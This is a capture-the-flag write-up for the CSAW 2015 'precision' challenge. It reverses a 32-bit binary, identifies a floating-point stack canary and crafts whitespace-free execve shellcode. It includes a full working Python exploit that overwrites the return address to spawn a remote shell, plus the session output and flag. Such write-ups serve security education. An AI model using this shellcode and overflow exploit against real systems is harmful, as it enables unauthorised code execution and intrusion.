CSAW 2015 - precision (exploitables 100) Writeup

Hint:

nc 54.173.98.115 1259

https://ctf.isis.poly.edu/static/uploads/d2f37c6015a78c053263836141d340fb/contacts_1153cd2daa128685d40c020c439fa906

'precision' comes off at first as a pretty simple stack smashing challenge, but it has a couple of interesting twists. The main thing that makes this challenge different from a run-of-the-mill stack smashing exploit is that the program uses a floating point number as a homegrown canary to detect stack smashing.

As with most pwnables, the first step to solving this is to start reverse engineering the binary. Let's see what kind of binary we're working with:

$ file precision
precision: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=929fc6f283d6f6c3c039ee19bc846e927103ebcd, not stripped

Neat! They didn't bother stripping the symbols. Let's disassemble the binary and see what we've got:

$ objdump -d -j .text -M intel precision_a8f6f0590c177948fe06c76a1831e650

[...]

0804851d <main>:
 804851d:       55                      push   ebp
 804851e:       89 e5                   mov    ebp,esp
 8048520:       83 e4 f0                and    esp,0xfffffff0
 8048523:       81 ec a0 00 00 00       sub    esp,0xa0
 8048529:       dd 05 90 86 04 08       fld    QWORD PTR ds:0x8048690
 804852f:       dd 9c 24 98 00 00 00    fstp   QWORD PTR [esp+0x98]
 8048536:       a1 40 a0 04 08          mov    eax,ds:0x804a040
 804853b:       c7 44 24 0c 00 00 00    mov    DWORD PTR [esp+0xc],0x0
 8048542:       00
 8048543:       c7 44 24 08 02 00 00    mov    DWORD PTR [esp+0x8],0x2
 804854a:       00
 804854b:       c7 44 24 04 00 00 00    mov    DWORD PTR [esp+0x4],0x0
 8048552:       00
 8048553:       89 04 24                mov    DWORD PTR [esp],eax
 8048556:       e8 a5 fe ff ff          call   8048400 <setvbuf@plt>
 804855b:       8d 44 24 18             lea    eax,[esp+0x18]
 804855f:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048563:       c7 04 24 78 86 04 08    mov    DWORD PTR [esp],0x8048678
 804856a:       e8 41 fe ff ff          call   80483b0 <printf@plt>
 804856f:       8d 44 24 18             lea    eax,[esp+0x18]
 8048573:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048577:       c7 04 24 82 86 04 08    mov    DWORD PTR [esp],0x8048682
 804857e:       e8 8d fe ff ff          call   8048410 <__isoc99_scanf@plt>
 8048583:       dd 84 24 98 00 00 00    fld    QWORD PTR [esp+0x98]
 804858a:       dd 05 90 86 04 08       fld    QWORD PTR ds:0x8048690
 8048590:       df e9                   fucomip st,st(1)
 8048592:       dd d8                   fstp   st(0)
 8048594:       7a 13                   jp     80485a9 <main+0x8c>
 8048596:       dd 84 24 98 00 00 00    fld    QWORD PTR [esp+0x98]
 804859d:       dd 05 90 86 04 08       fld    QWORD PTR ds:0x8048690
 80485a3:       df e9                   fucomip st,st(1)
 80485a5:       dd d8                   fstp   st(0)
 80485a7:       74 18                   je     80485c1 <main+0xa4>
 80485a9:       c7 04 24 85 86 04 08    mov    DWORD PTR [esp],0x8048685
 80485b0:       e8 0b fe ff ff          call   80483c0 <puts@plt>
 80485b5:       c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 80485bc:       e8 1f fe ff ff          call   80483e0 <exit@plt>
 80485c1:       a1 30 a0 04 08          mov    eax,ds:0x804a030
 80485c6:       8d 54 24 18             lea    edx,[esp+0x18]
 80485ca:       89 54 24 04             mov    DWORD PTR [esp+0x4],edx
 80485ce:       89 04 24                mov    DWORD PTR [esp],eax
 80485d1:       e8 da fd ff ff          call   80483b0 <printf@plt>
 80485d6:       c9                      leave
 80485d7:       c3                      ret

[...]

Turns out that having symbols didn't really matter much, but it does allow us to quickly identify main. Now, while a decompiler does help speed up the reversing process, this function is simple enough that we can just read through the disassembly to figure out what's going on:

  1. main allocates a stack frame of 160 bytes (sub esp,0xa0).
  2. main loads an 8-byte double-precision floating point value (i.e. your standard 'double' type) from ds:0x8048690 onto the stack at [esp+0x98].
  3. main calls printf and then scanf for a stack-allocated buffer starting at [esp+0x18].
  4. After calling scanf, main does a floating point comparison between the double it loaded on the stack at [esp+0x18] and the value it loaded it from at ds:0x8048690.
  5. If the comparison fails, it prints a string ("Nope.") and then calls exit(1). This codepath will foil our stack smashing exploit, since we won't be able to return from main.

From this, we can deduce the following:

  • We have a 128 byte buffer on the stack (from [esp+0x98] through [esp+0x18]).
  • main will print the location of this buffer (the printf call at 0x804856a)
  • main does an uncontrolled scanf, reading an arbitrary-length string from the user.
  • main also verifies its custom homemade canary, a double value that it places on the stack before the char buffer.

So this double value is important. What is it?

$ objdump -s --start-address=0x8048690 -j .rodata -M intel precision_a8f6f0590c177948fe06c76a1831e650

precision_a8f6f0590c177948fe06c76a1831e650:     file format elf32-i386

Contents of section .rodata:
 8048690 a5315a47 55155040                    .1ZGU.P@

Accounting for little-endian encoding, our floating point canary is 0x40501555475a31a5, or 64.33333.

So now that we know what the canary is, we can overflow the stack buffer with the following python script:

python -c "import struct; print 128*'A' + struct.pack('<d', 64.33333) + 512*'A'"

This allows us to bypass the canary and trash EIP.

Since the binary is so kind as to print the address of the vulnerable stack buffer (i.e. the address of our shellcode), we can just dump our shellcode into the buffer and then overwrite EIP to jump into that buffer. Seems simple enough.

However, there is one subtle trick here! Note that scanf stops when it encounters any byte that is an ASCII whitespace char. So we must be careful to ensure that our shellcode does not contain any whitespace bytes!

Starting with some standard stack smashing shellcode (I used http://shell-storm.org/shellcode/files/shellcode-811.php), and running it through an x86 assembler (such as https://defuse.ca/online-x86-assembler.htm), we have the following shellcode to work with:

0:  31 c0                   xor    eax,eax
2:  50                      push   eax
3:  68 2f 2f 73 68          push   0x68732f2f
8:  68 2f 62 69 6e          push   0x6e69622f
d:  89 e3                   mov    ebx,esp
f:  89 c1                   mov    ecx,eax
11: 89 c2                   mov    edx,eax
13: b0 0b                   mov    al,0xb
15: cd 80                   int    0x80
17: 31 c0                   xor    eax,eax
19: 40                      inc    eax
1a: cd 80                   int    0x80

Well, that '0x0b' byte is gonna be problematic: in ASCII, that's a vertical tab character, which will make scanf stop reading our payload. We can't have that, so let's get around this using some math!

Instead of mov al, 0xb, let's just use two large values whose difference is 0xb (such as, oh I dunno, 0x7ffffffb and 0x7ffffff0). This way, the assembled shellcode won't actually contain an '0xb' byte and will be whitespace free.

Here's the final shellcode:

0:  31 c0                   xor    eax,eax
2:  50                      push   eax
3:  68 2f 2f 73 68          push   0x68732f2f
8:  68 2f 62 69 6e          push   0x6e69622f
d:  89 e3                   mov    ebx,esp
f:  89 c1                   mov    ecx,eax
11: 89 c2                   mov    edx,eax
13: b8 fb ff ff 7f          mov    eax,0x7ffffffb
18: 2d f0 ff ff 7f          sub    eax,0x7ffffff0
1d: cd 80                   int    0x80
1f: 31 c0                   xor    eax,eax
21: 40                      inc    eax
22: cd 80                   int    0x80

We can then deploy the shellcode as the payload for our python exploit script:

 1 # -*- coding: utf8 -*-
 2 import socket, string, struct, sys, telnetlib, time
 3 
 4 def i_send(sock, msg):
 5     sock.send(msg + '\n')
 6     print "SEND >>>", msg
 7 
 8 def i_recv(sock):
 9     data = sock.recv(8888)
10     for line in data.split('\n'):
11         print "<<< RECV", line
12     return data
13 
14 s = socket.create_connection(('54.173.98.115', '1259'))
15 
16 buf_addr = i_recv(s).split(' ')[1]  # We're gonna get "Buff: 0xdeadbeef"
17 buf_addr = int(buf_addr, 0)
18 print "Got buffer addresss: 0x%x" % (buf_addr)
19 
20 shellcode = ("\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x89" +
21              "\xC1\x89\xC2\xB8\xFB\xFF\xFF\x7F\x2D\xF0\xFF\xFF\x7F\xCD\x80\x31" +
22              "\xC0\x40\xCD\x80")
23 buf_contents = shellcode + '\x90' * (128 - len(shellcode))
24 payload = (buf_contents +
25            struct.pack('<d', 64.33333) +
26            'A' * 8 +                      # padding ¯\_(ツ)_/¯
27            'A' * 4 +                      # saved ebp
28            struct.pack('<I', buf_addr))   # saved eip
29 
30 i_send(s, payload)
31 
32 t = telnetlib.Telnet()
33 t.sock = s
34 t.interact()

And then we win:

$ python ./exploit.py
<<< RECV Buff: 0xffb7a938
<<< RECV
Got buffer addresss: 0xffb7a938
SEND >>> 1�Ph//shh/bin����¸���-���̀1�@̀���������������������������������������������������������������������������������������������1ZGUP@AAAAAAAAAAAA8���
Got 1�Ph//shh/bin����¸��-��̀1�@̀���������������������������������������������������������������������������������������������1ZGUP@AAAAAAAAAAAA8��
ls
flag
precision_a8f6f0590c177948fe06c76a1831e650
cat flag
flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}

Posted on Oct. 6, 2015, 9:48 p.m. by hbw